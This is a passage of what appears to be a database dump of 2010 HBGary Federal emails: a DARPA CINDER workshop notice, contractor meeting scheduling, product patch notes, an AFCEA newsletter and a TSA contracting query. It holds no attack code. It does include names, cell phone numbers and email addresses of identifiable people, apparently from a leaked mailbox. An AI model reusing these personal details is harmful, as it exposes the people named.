8:00 AM to 5:00 PM (EST). The West Cost Proposer&#39;s Day Workshop has been tentatively scheduled for Sept 2, 2010 in the San Francisco area (more details to follow)\r\nMeeting details and registration information will be included in future emails.The CINDER workshops will:*    Introduce the program manager \r\n*    Provide information on the Cyber-Insider Program *    Answer questions about working with DARPA*    Facilitate meetings with potential partners (and competitors)*    Facilitate networking and teaming opportunities\r\n*    Promote a hacker approach to insider threat detectionThe Cyber Insider Threat (CINDER) program will develop novel approaches to detect ongoing activities within government and military interest systems and networks  that are conducted in support of adversary goals. The goal of CINDER will be to greatly increase the accuracy, rate and speed with which insider threat missions are detected and impede the ability of adversaries to conduct missions undetected within government and military interest networks. Attendance to the workshop is not required to propose to DARPA-BAA-10-84.\r\nThe CINDER Workshop is open to all U.S. Citizens and intended for a wide range of potential performers. Interested individuals, consultants, small businesses, laboratories, and universities with applicable backgrounds are expressly invited.  These workshops are not intended for parties who are not interested in bidding or participating on a bidding team, e.g. the public or members of the press. \r\nAttendees will be afforded the opportunity to present company overviews, discuss their technology expertise, and/or discuss teaming opportunities in scheduled presentations at the workshop may request to do so. Attendees will also have the opportunity to meet individually with Mr. Peiter &quot;Mudge&quot; Zatko, the Cyber-Insider Program Manager.\r\nPlease feel free to contact us with any questions.Regards,Cyber-Insider TeamDARPA/STO\r\n\r\n',2537,'aaron_hbgary_com/2537.html'),(9163,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007061.M386904P14101Q4018.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>','Re: EXTERNAL:Next Week','Hey guys,I am not going to make it back in time. &nbsp;I will catch up when I get back from Vegas.If you haven\'t had a chance or seen it google HBGary. &nbsp;We are getting a lot of press running up to Blackhat on our attribution tool we will be releasing. &nbsp;:)AaronOn Jul 22, 2010, at 7:53 AM, Tim Riesen wrote:\r\nChris - \r\n\r\nOk – will shoot for Wednesday to Friday. &nbsp;Aaron mentioned he might be back in time for a Friday PM meeting. &nbsp;If that is indeed workable, let’s shoot for a Thursday night dinner and a Friday meeting. &nbsp;\r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Christopher Clair &lt;christopher.clair@tasc.com&gt;\r\nDate: Wed, 21 Jul 2010 21:49:57 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: EXTERNAL:Next Week\r\n\r\nHi Tim,\r\n\r\nMonday and Tuesday are bad. &nbsp;The rest of the week is open. &nbsp;I think Aaron will be out of town but we can handle the meeting if necessary. \r\n\r\nDo you have any nights free for that week? &nbsp;We can cook a few steaks and drink a beer or two. &nbsp;Aaron you are welcome to come too. \r\n\r\nLet me know. \r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 7/21/2010 9:25 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nSubject: EXTERNAL:Next Week\r\n\r\nGentlemen -\r\n\r\nDo you have an interest in meeting with the telecom infrastructure people\r\nnext week? \r\n\r\nAaron – for the McLean for the meeting?\r\n\r\nAaron and Chris – for the infrastructure piece of the COIN proposal?\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14290,'aaron_hbgary_com/14290.html'),(9164,'2010-07-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007061.M636518P14101Q4019.eml','\"Ray Owen\" <ray.owen@farallon-research.com>,\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,\"Aaron Barr\" <aaron@hbgary.com>','Who is doign fingerprinting of system???','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5158,'aaron_hbgary_com/5158.html'),(9165,'2010-07-26','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007061.M894227P14101Q4020.eml','\"Aaron Barr\" <aaron@hbgary.com>','You won\'t believe this one','\r\n\r\n\r\n\r\n\r\nYou won\'t believe this one\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nGot time to talk tonight.\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',8482,'aaron_hbgary_com/8482.html'),(9166,'2010-07-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007062.M112859P14101Q4021.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: You won\'t believe this one','Sure. &nbsp;Give me a call.Sent from my iPhoneOn Jul 26, 2010, at 1:23 PM, \"Masterson, Brian M (XETRON)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\nGot time to talk tonight.\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',10119,'aaron_hbgary_com/10119.html'),(9167,'2010-07-26','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297007062.M429836P14101Q4022.eml','all@hbgary.com','Responder 2.0.0.0613 and ActiveDefense 1.1.0.148 are live','All,The latest patches for Responder and ActiveDefense are now live on the Portal and the update server.The ActiveDefense patch includes the following feature additions and bug fixes:\r\nNew Feature: Remote File System Browser - This new feature allows you browse the file system of any system in your network through a pop up a window in the ActiveDefense UI. This feature not only lets you see all the files on the system but also request any file from the system without having to create a Scan Policy. Any files requested from a Remote File System Browser session will show up in the Requested Files tab.\r\nNew Feature: Added in ability to stop the currently running scan on any system. This feature is accessed via the drop down Actions menu on the Systems panel.The &quot;Last Scan&quot; and &quot;Last Score&quot; columns now show a default message when no scan has occured instead of showing nothing when no scan has occured.\r\nNew Feature: There is now a &quot;Requested Files&quot; panel that is accessed from the main navigation bar under Network that shows all of the Requested Files from all systems.New Feature: You can now search for systems in the Systems panel via the Actions menu on the Network Tree.\r\nNew Feature: Row counts have been added to group headers.Bug Fix: Clicking through the System Log panel is now faster due to automatic cleanup of old log entries. The System Log panel now shows only the last 50 log entires for each system.\r\nBug Fix: Selecting the &quot;Overwrite&quot; option when using the ActiveDefense installer to update a current installation no longer clears out the administrator log-in credentials.Bug Fix: Adding a Whitelist entry is now much faster.\r\nBug Fix: Fixed Agent deployment issues.System Redeploy and System Update tasks are now recorded in the System Log.The drivers for Aladdin HASP keys are now installed when you install ActiveDefense.\r\nThe confirmation page for the Redeploy task now shows a list of invalid nodes that will not be redeployed when you click OK.The Responder patch includes the following bug fixes:\r\nBug Fix: Fixed REcon bugs that were causing blue screens.Bug Fix: Fixed a bug in the Remote Memory Snapshot project that was causing this project to not work on some systems.\r\n-Engineering Team\r\n',11669,'aaron_hbgary_com/11669.html'),(9168,'2010-07-26','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297007062.M654469P14101Q4023.eml','aaron@hbgary.com','Re: Discuss new business opportunities?','\r\n\r\n\r\n\r\n\r\nRe: Discuss new business opportunities?\r\n\r\n\r\n\r\n\r\nAaron,\r\nGreetings. Hope all is well. Give me a good time and number to reach you. Let\'s catch up soon.\r\nJohn\r\n301.768.0186 cell\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 16:39:18 2010\r\nSubject: Discuss new business opportunities?\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going? When are you available to talk about joint business opportunities? I’m at ICS now and working to expand their business development efforts. We just won a contract at MSC and we’re chasing several security opportunities across DOD, Civilian and IC. Let me know your schedule and let’s get together soon.\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\nDirector of Technical Services\r\n\r\nIntegrated Communication Solutions, Inc.\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6483,'aaron_hbgary_com/6483.html'),(9169,'2010-07-26','\"Steve Ritchey\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297007062.M890146P14101Q4024.eml','aaron@hbgary.com','AFCEA Intelligence Newsletter','\r\n\r\nSummer2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n			\r\n				\r\n					\r\n					\r\n					\r\n					AFCEA&nbsp;Intelligence&nbsp;Watch&nbsp;\r\n	                Serving Intelligence Professionals and Their Community\r\n					\r\n					\r\n				\r\n				\r\n				  					  In This Issue\r\n					  AFCEA Fall Intelligence Symposium 2010 \r\n		                \r\n		              AFCEA Intelligence Committee Seeks New Members - Deadline Nears \r\n\r\nAFCEA Spring Intelligence Symposium -- Celebrating DIA \r\n\r\n                      AFCEA/NIP Navy Information Dominance Industry Day \r\n                      \r\n                      AFCEA Intelligence and INSA White Paper \r\n                      \r\n                      AFCEA Intelligence Awards\r\n                      \r\n                      Budget Realities\r\n                      \r\n                       NightWatch Subscriber List Continues to Grow \r\n                 \r\n                       Scholarship Opportunities for Undergraduate and Graduate Students \r\n                 \r\n                       Intelligence Courses from AFCEA\'s Professional Development Center \r\n                      \r\nIntelligence Scholarship Opportunities for Your Company \r\n					  \r\n	                  SIGNAL Magazine\'s Focus on Intelligence\r\n					  \r\n				        Quick Links\r\n					  \r\n					  AFCEA Intelligence\r\n					\r\n					AFCEA Professional Development Center\r\n				      \r\n					  \r\n							\r\n								\r\n								NightWatch\r\n								\r\n							\r\n							\r\n								\r\n								Sign Up\r\n								\r\n							\r\n				      \r\n					  \r\n				  \r\n				  &nbsp;\r\n				    				    Welcome to the summer 2010 edition of Intelligence Watch &ndash; AFCEA&rsquo;s online newsletter designed to help keep you informed of activities and services supporting intelligence professionals.\r\n				          \r\n			          				    \r\n				    &nbsp;\r\n				  This issue includes details on the AFCEA Fall and Spring Intelligence Symposia, the Navy Information Dominance Industry Day (and a follow-on event); applying for membership on the AFCEA Intelligence Committee; a soon to be released white paper on IC technology and acquisition; AFCEA&rsquo;s 2010 intelligence awards; scholarship opportunities for undergraduate and graduate students; and more! &nbsp;&nbsp;\r\n				    The table of contents on the left margin includes a listing of all the topics covered in this issue. &nbsp;We hope you have the opportunity to relax and recharge this summer, and we look forward to seeing you at an upcoming AFCEA Intelligence event! &nbsp;\r\n				    Sincerely, \r\n        \r\n				    Steven Ritchey\r\n          Vice President for Intelligence\r\n          AFCEA International \r\n				    \r\n				    \r\n					\r\n					 AFCEA Fall Intelligence Symposium \r\n					\r\n					2010 marks the beginning of a year-long celebration of the 50th anniversary of the establishment of the National Reconnaissance Office (NRO) and 50 years of space intelligence, surveillance and reconnaissance (ISR), and AFCEA Intelligence has been invited to the party&hellip; and so have you!&nbsp; An official part of the NRO&rsquo;s anniversary celebrations, the 29th AFCEA Fall Intelligence Symposium will explore the evolution and the future of space reconnaissance and where industry can help.&nbsp; During the symposium, AFCEA also will present the 2010 AFCEA Charlie Allen Award for Intelligence to Dr. Lawrence Gershwin, National Intelligence Officer for Science and Technology, and present a special posthumous lifetime achievement award to&nbsp;Mr. Dennis Fitzgerald, former Principal Deputy Director of the National Reconnaissance Office.&nbsp; These symposia consistently sell out.&nbsp; \r\n					More&hellip;\r\n                    \r\n                      \r\n                      \r\n                    Back to Top\r\n					\r\n					\r\n									     AFCEA Intelligence Committee Seeks New Members - Deadline Nears \r\n				      \r\n				      Are you a member of the private sector interested in serving the Intelligence Community?&nbsp; Each year at about this time, the AFCEA Intelligence Committee solicits new industry members.&nbsp; The Committee is a group of about 60 government and industry members that oversees the Association&rsquo;s outreach to intelligence professionals and the Intelligence Community.&nbsp; Qualified individuals interested in participating in the work of this prestigious group may apply online, but the deadline is July 31, 2010.&nbsp;\r\n				    \r\n				    More&hellip;\r\n				          \r\n				          \r\n		            Back to Top\r\n				    				     AFCEA Spring Intelligence Symposium -- Celebrating DIA \r\n				    Mark your calendars now for another birthday celebration!&nbsp; The AFCEA Spring Intelligence Symposium will take place in the Defense Intelligence Analysis Center (DIAC) on Bolling AFB, Washington DC, on 20-21 April 2011, and be part of the Defense Intelligence Agency\'s 50th anniversary.&nbsp; Former DIA Director, VADM Jake Jacoby, USN (Ret.), will be the symposium chairman.&nbsp; The program will provide a bit of history and education on what DIA is and the role it plays, but the major focus will be on highlighting where industry can support the future Defense Intelligence Enterprise.&nbsp;\r\nBack to Top\r\n\r\n					\r\n					 AFCEA/NIP Navy Information Dominance Industry Day\r\n					\r\n					\r\n					On June 22, 2010, AFCEA Intelligence and the Naval Intelligence Professionals (NIP) co-sponsored a one-day conference focused on the Navy&rsquo;s new Information Dominance Corps.&nbsp; The conference sold out weeks before the event and featured VADM Jack&nbsp;Dorsett, USN,&nbsp;Deputy Chief of Naval Operations for Information Dominance&nbsp;and the Director of Naval Intelligence, and members of his organization.&nbsp; Unclassified versions of the presentations and answers to the questions submitted by the audience during the conference are now available online.&nbsp;&nbsp;Plan now to attend the second&nbsp;Navy Industry Day&nbsp;on Wednesday, March 2, 2011, in the Heritage Conference Center, and watch for more details on the AFCEA Intelligence website. \r\n					More&hellip; \r\n					\r\n				          Back to Top\r\n                    			                  \r\n					\r\n					\r\n														    \r\n					 AFCEA Intelligence and INSA White Paper \r\n		            \r\n			        AFCEA Intelligence and the Intelligence and National Security Alliance (INSA) are co-sponsoring a white paper on building stakeholder support for IC technology and acquisition.&nbsp; This will be the thirteenth white paper the AFCEA Intelligence Committee has prepared on various topics related to the Intelligence Community.&nbsp; All the papers are available for free downloading.&nbsp; Click here to be notified when the latest paper is available.\r\n				    More&hellip;\r\n	                  \r\n	                  \r\n	                  Back to Top\r\n				    \r\n					\r\n					 AFCEA Intelligence Awards\r\n					\r\n					\r\n				      AFCEA annually recognizes intelligence professionals for their work on behalf of the Intelligence Community and the nation with two prestigious awards.&nbsp; The first is the AFCEA Charlie Allen Award for Intelligence Service honoring intelligence professionals who have served at the highest levels.&nbsp; The second award is the AFCEA Intelligence Meritorious Service Award honoring career intelligence professionals.&nbsp; Nominations are solicited from the government, military, and AFCEA chapters worldwide.&nbsp; Winners are selected by the government and industry members of the AFCEA Intelligence Committee.&nbsp; Nominees do not need to be AFCEA members.&nbsp; Dr. Larry Gershwin is the 2010 winner of the Charlie Allen Award for Intelligence Service.&nbsp; The award will be presented at the AFCEA Fall Intelligence Symposium.&nbsp;&nbsp;  \r\n					More&hellip;\r\n\r\nBack to Top\r\n\r\n\r\n					\r\n					 The IC: Not To Big To Fail, But... \r\n					\r\n					                    &ldquo;This is my sound bite take away from what was certainly an event filled if not significant week (July 19-23) for the Intelligence Community (IC). It is probably not happenstance that the Washington Post ran its almanac facts without context three part investigative &quot;TOP SECRET AMERICA&quot; story on the IC (July 19, 20, &amp; 21), the same week the Senate Select Committee for Intelligences (SSCI) surprisingly relented to political pressure and quickly scheduled a confirmation hearing (July 20th) on Jim Clapper to be the fourth Director of National Intelligence (DNI).&rdquo; Read the rest of Joe Mazzafro&rsquo;s latest Mazz-INT blog &ndash; part of the family of AFCEA Intelligence blogs.&nbsp; The other two focus on technology and intelligence and small businesses and intelligence.                    More&hellip; \r\n					Back to Top\r\n\r\n					\r\n					\r\n			   NightWatch Subscriber List Continues to Grow \r\n\r\nNightWatch is an executive level worldwide intelligence summary, provided by AFCEA Intelligence in partnership with KGS  and author John McCreary.&nbsp; The service is free and is delivered direct to your email inbox early each morning five nights a week.&nbsp; In about two pages, it&rsquo;s the perfect way to get caught up on what&rsquo;s happening around the world with insights provided by a career intelligence analyst.&nbsp; NightWatch is deliberately edgy in the interest of clarity and brevity and is a product tailored for executives.&nbsp; If you aren&rsquo;t one of the thousands getting NightWatch, sign up now!&nbsp; &nbsp;&nbsp;\r\n					More&hellip; \r\nBack to Top\r\n					\r\n					\r\n					\r\n					\r\n					 Scholarship Opportunities for Undergraduate and Graduate Students \r\n					\r\n					With the financial support of&nbsp;CSC,&nbsp;Mosaic, Inc., Cobham, and&nbsp; Terremark Worldwide, Inc., AFCEA Intelligence and the AFCEA Educational Foundation offer five scholarships aimed at undergraduate and graduate students pursuing academic degrees in global security, intelligence studies, and/or foreign languages.&nbsp; The undergraduate scholarships are $2,250 each and the graduate scholarships are $5,000 each.&nbsp; The application deadline is November 15, 2010.&nbsp; A recent recipient credits her AFCEA Intelligence scholarship for a unique overseas experience.\r\nMore&hellip; \r\n\r\n			        Back to Top\r\n\r\n					\r\n					\r\n					\r\n					 Intelligence Courses from AFCEA\'s Professional Development Center \r\n					\r\n					Supporting the outreach of AFCEA Intelligence, the AFCEA Professional Development Center has added new courses focused on intelligence support to cyber warfare.&nbsp; In addition, the ever popular &ldquo;The U.S. Intelligence Community: Who Does What, With What, For What?&rdquo; returns September 13-15, 2010 (SECRET clearance required).&nbsp;\r\n					More&hellip;              \r\n				        \r\n				        \r\n		            Back to Top\r\n					\r\n\r\n															 Intelligence Scholarship Opportunities for Your Company\r\n					\r\n					Is your company looking for a unique way to support the Intelligence Community and demonstrate goodwill at the same time?&nbsp; Consider joining the AFCEA Intelligence Scholarship Consortium.&nbsp; For a relatively modest investment you can help attract bright students into intelligence related studies and at the same time position your company as an Intelligence Community benefactor.&nbsp; Each Intelligence Watch newsletter and each AFCEA Intelligence event spotlight the scholarship companies.&nbsp; If you would like to join Terremark Worldwide Inc., CSC, Mosaic, Inc., and Cobham, please contact Mr. Steve Ritchey at 703-631-6131 or sritchey@afcea.org for more details.&nbsp;\r\n		        \r\n		        Back to Top\r\n\r\n					\r\n															 SIGNAL Magazine\'s Focus on Intelligence\r\n			        \r\n					\r\n			            Each month, SIGNAL Magazine, AFCEA&rsquo;s award winning monthly journal, includes articles focused on topics of interest to intelligence professionals and companies that support the Intelligence Community.&nbsp; Below is a sampling of recent articles.\r\n					&nbsp;\r\n										\r\n						Flexible Batteries Unfold Technical Possibilities \r\n						U.S. warfighters may one day have their handheld communications and sensor equipment powered by batteries that are &ldquo;grown&rdquo; using biological processes. Researchers are manipulating viruses to create power sources that can be poured or sprayed into containers or woven into uniforms and ballistic vests. By using genetically engineered viruses as templates for semiconductors and metals, scientists are building small, highly efficient batteries that are more powerful and longer lasting than current platforms.\r\n						More&hellip;\r\n						&nbsp;\r\n						Fiber Enables Battlefield Radio Transmissions \r\n						New fiber optic technology is allowing warfighters to place antennas far away from their radio systems. This capability can both provide greater protection from attack and increase radio signal range.&nbsp; The technology differs from conventional optical fiber communications in that it does not convert digital signals to photons for transmission down the fiber. Instead, it converts analog radio signals directly into photons. These photons are reconverted into an analog wave signal and amplified at the other end of the fiber\r\n						More&hellip;\r\n						&nbsp;\r\n						Air Defense System to Forge Many Platforms Into One Network \r\n						By the middle of this decade, a new command and control system will provide U.S. Army air defense forces with an extended view of the airspace over a battlefield. The capability will integrate the service&rsquo;s sensors and weapons into a single network, allowing each platform to perform to its maximum abilities while minimizing operational weaknesses. Commanders will be able to access data quickly from any sensor on the network and order any weapon to engage a target.\r\n						More&hellip;\r\n						\r\n					Back to Top\r\n					\r\n					\r\n									    To provide feedback on this newsletter, Click Here.\r\n			        \r\n										About AFCEA\r\n					AFCEA International, established in 1946, is a non-profit membership association serving the military, government, industry, and academia as an ethical forum for advancing professional knowledge and relationships in the fields of communications, information technology, intelligence, and global security.&nbsp;AFCEA supports local chapters and&nbsp;sponsors events worldwide,&nbsp;brings the solutions of industry to the requirements of government,&nbsp;publishes the award-winning SIGNAL Magazine, promotes education, and provides member benefits &ndash; all with the purpose of equipping its members to meet government&rsquo;s challenges and to further their careers. AFCEA and its chapters provide a common ground for learning that is unquestioned in its integrity and unequaled in the reach of its relationships. More than 32,000 individual members and&nbsp;over 1,800 corporate members&nbsp;support AFCEA International for the same reason: we help them succeed and enable them to serve.&nbsp; For more&nbsp;information or to join AFCEA, please&nbsp;visit our website: intel.afcea.org.\r\n				  &nbsp; \r\n				\r\n				\r\n					\r\n					\r\n					\r\n					This email is provided as a professional courtesy.If you\'d prefer not to receive future notices, please\r\n					Click Here\r\n					AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n					\r\n					\r\n				\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8650,'aaron_hbgary_com/8650.html'),(9170,'2010-07-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007063.M136435P14101Q4025.eml','\"Brian Coulson\" <bcoulson@digitalglobe.com>,\"Brian Coulson\" <bcoulson@digitalglobe.com>','Social Media Training','Hello Brian,\r\n\r\nAttached is a quote for the Social Media training we discussed.  We\r\nprovided a deep volume discount for the pricing, and tried to make it\r\nflexible to accommodate for an uncertain number of attendees.  Please\r\nreview and feel free to contact me if you have any questions.\r\n\r\nRegards,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12155,'aaron_hbgary_com/12155.html'),(9171,'2010-07-26','\"Douglas Smith C\" <douglas.c.smith@ericsson.com>','/aaron@hbgary.com/new/1297007063.M437763P14101Q4026.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Christopher Clair\" <christopher.clair@tasc.com>,\"Chris Kozlow\" <chris@nppglobal.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Christopher Clair\" <christopher.clair@tasc.com>','RE: Introduction','\r\nIntroduction\r\n\r\n\r\n\r\nTim,\r\nI can make that meeting time. Let me check with the \r\nothers.&nbsp;\r\n&nbsp;\r\nBest\r\nDoug&nbsp;\r\n\r\n\r\nFrom: Tim Riesen \r\n[mailto:tjriesen@archimedesglobal.com] Sent: Friday, July 23, 2010 \r\n1:50 PMTo: Christopher Clair; Chris Kozlow; Douglas Smith C; Aaron \r\nBarrSubject: Introduction\r\nGentlemen - As a follow-up to recent discussions \r\nabout a potential collaboration opportunity - allow me to introduce everyone. \r\nChris C. and Aaron &#8211; Doug and Chris K. from Ericsson Federal may be able \r\nto provide some infrastructure support to the program we are pursuing. \r\n&nbsp;Doug and Chris K &#8211; Chris C. is the capture manager from TASC for \r\nthe opportunity I mentioned to you. &nbsp;Aaron is the former USG program \r\nmanager for the initiative. &nbsp;His company, HB Gary, and Archimedes are \r\nsub-contractors to TASC.If possible, I&#8217;d like to arrange a meeting at \r\nTASC HQ next Friday, the 30th at 1000. &nbsp;Let me know if this works for \r\neveryone. &nbsp;Provided it works, Doug and Chris will need to have their \r\nclearances sent over to TASC. &nbsp;Aaron &#8211; I know you may not have \r\nreturned in time for this meeting. &nbsp;If this doesn&#8217;t work for you, let&#8217;s \r\narrange another time to discuss in further detail the potential opportunity that \r\nDoug and Chris have for some of the customers you have worked for/with \r\npreviously. &nbsp;Have a good weekend - Tim \r\n________________________________________Tim Riesen, Ph.D.Chief \r\nOperating Officer &amp; Senior Vice PresidentArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503Fax: \r\n&nbsp;866.347.0827&nbsp;\r\n',16674,'aaron_hbgary_com/16674.html'),(9172,'2010-07-26','\"Douglas Smith C\" <douglas.c.smith@ericsson.com>','/aaron@hbgary.com/new/1297007063.M666584P14101Q4027.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Christopher Clair\" <christopher.clair@tasc.com>,\"Chris Kozlow\" <chris@nppglobal.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Christopher Clair\" <christopher.clair@tasc.com>','RE: Introduction','\r\nIntroduction\r\n\r\n\r\n\r\nTim,\r\nI can make that meeting time. Let me check with the \r\nothers.&nbsp;\r\n&nbsp;\r\nBest\r\nDoug&nbsp;\r\n\r\n\r\nFrom: Tim Riesen \r\n[mailto:tjriesen@archimedesglobal.com] Sent: Friday, July 23, 2010 \r\n1:50 PMTo: Christopher Clair; Chris Kozlow; Douglas Smith C; Aaron \r\nBarrSubject: Introduction\r\nGentlemen - As a follow-up to recent discussions \r\nabout a potential collaboration opportunity - allow me to introduce everyone. \r\nChris C. and Aaron &#8211; Doug and Chris K. from Ericsson Federal may be able \r\nto provide some infrastructure support to the program we are pursuing. \r\n&nbsp;Doug and Chris K &#8211; Chris C. is the capture manager from TASC for \r\nthe opportunity I mentioned to you. &nbsp;Aaron is the former USG program \r\nmanager for the initiative. &nbsp;His company, HB Gary, and Archimedes are \r\nsub-contractors to TASC.If possible, I&#8217;d like to arrange a meeting at \r\nTASC HQ next Friday, the 30th at 1000. &nbsp;Let me know if this works for \r\neveryone. &nbsp;Provided it works, Doug and Chris will need to have their \r\nclearances sent over to TASC. &nbsp;Aaron &#8211; I know you may not have \r\nreturned in time for this meeting. &nbsp;If this doesn&#8217;t work for you, let&#8217;s \r\narrange another time to discuss in further detail the potential opportunity that \r\nDoug and Chris have for some of the customers you have worked for/with \r\npreviously. &nbsp;Have a good weekend - Tim \r\n________________________________________Tim Riesen, Ph.D.Chief \r\nOperating Officer &amp; Senior Vice PresidentArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503Fax: \r\n&nbsp;866.347.0827&nbsp;\r\n',12542,'aaron_hbgary_com/12542.html'),(9173,'2010-07-26','\"Douglas Smith C\" <douglas.c.smith@ericsson.com>','/aaron@hbgary.com/new/1297007063.M922787P14101Q4028.eml','\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Christopher Clair\" <christopher.clair@tasc.com>,\"Chris Kozlow\" <chris@nppglobal.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Tim Riesen\" <tjriesen@archimedesglobal.com>,\"Christopher Clair\" <christopher.clair@tasc.com>','RE: Introduction','\r\nIntroduction\r\n\r\n\r\n\r\nTim,\r\nI can make that meeting time. Let me check with the \r\nothers.&nbsp;\r\n&nbsp;\r\nBest\r\nDoug&nbsp;\r\n\r\n\r\nFrom: Tim Riesen \r\n[mailto:tjriesen@archimedesglobal.com] Sent: Friday, July 23, 2010 \r\n1:50 PMTo: Christopher Clair; Chris Kozlow; Douglas Smith C; Aaron \r\nBarrSubject: Introduction\r\nGentlemen - As a follow-up to recent discussions \r\nabout a potential collaboration opportunity - allow me to introduce everyone. \r\nChris C. and Aaron &#8211; Doug and Chris K. from Ericsson Federal may be able \r\nto provide some infrastructure support to the program we are pursuing. \r\n&nbsp;Doug and Chris K &#8211; Chris C. is the capture manager from TASC for \r\nthe opportunity I mentioned to you. &nbsp;Aaron is the former USG program \r\nmanager for the initiative. &nbsp;His company, HB Gary, and Archimedes are \r\nsub-contractors to TASC.If possible, I&#8217;d like to arrange a meeting at \r\nTASC HQ next Friday, the 30th at 1000. &nbsp;Let me know if this works for \r\neveryone. &nbsp;Provided it works, Doug and Chris will need to have their \r\nclearances sent over to TASC. &nbsp;Aaron &#8211; I know you may not have \r\nreturned in time for this meeting. &nbsp;If this doesn&#8217;t work for you, let&#8217;s \r\narrange another time to discuss in further detail the potential opportunity that \r\nDoug and Chris have for some of the customers you have worked for/with \r\npreviously. &nbsp;Have a good weekend - Tim \r\n________________________________________Tim Riesen, Ph.D.Chief \r\nOperating Officer &amp; Senior Vice PresidentArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503Fax: \r\n&nbsp;866.347.0827&nbsp;\r\n',7600,'aaron_hbgary_com/7600.html'),(9174,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007064.M153285P14101Q4029.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: TSA','Hi Aaron\r\n \r\nIs the information below consistent with what you found?  Penny said that this is going to rebid which is consistent because Dale said he has to resubmit and combine two requirements and sources for funding. \r\n \r\nI am exploring the SBIR Phase III angle to see if there can be a sole source option.  Bob will explain this to me and I&#39;ll approach Dale.\r\n \r\nDo you have advice on other options to move this 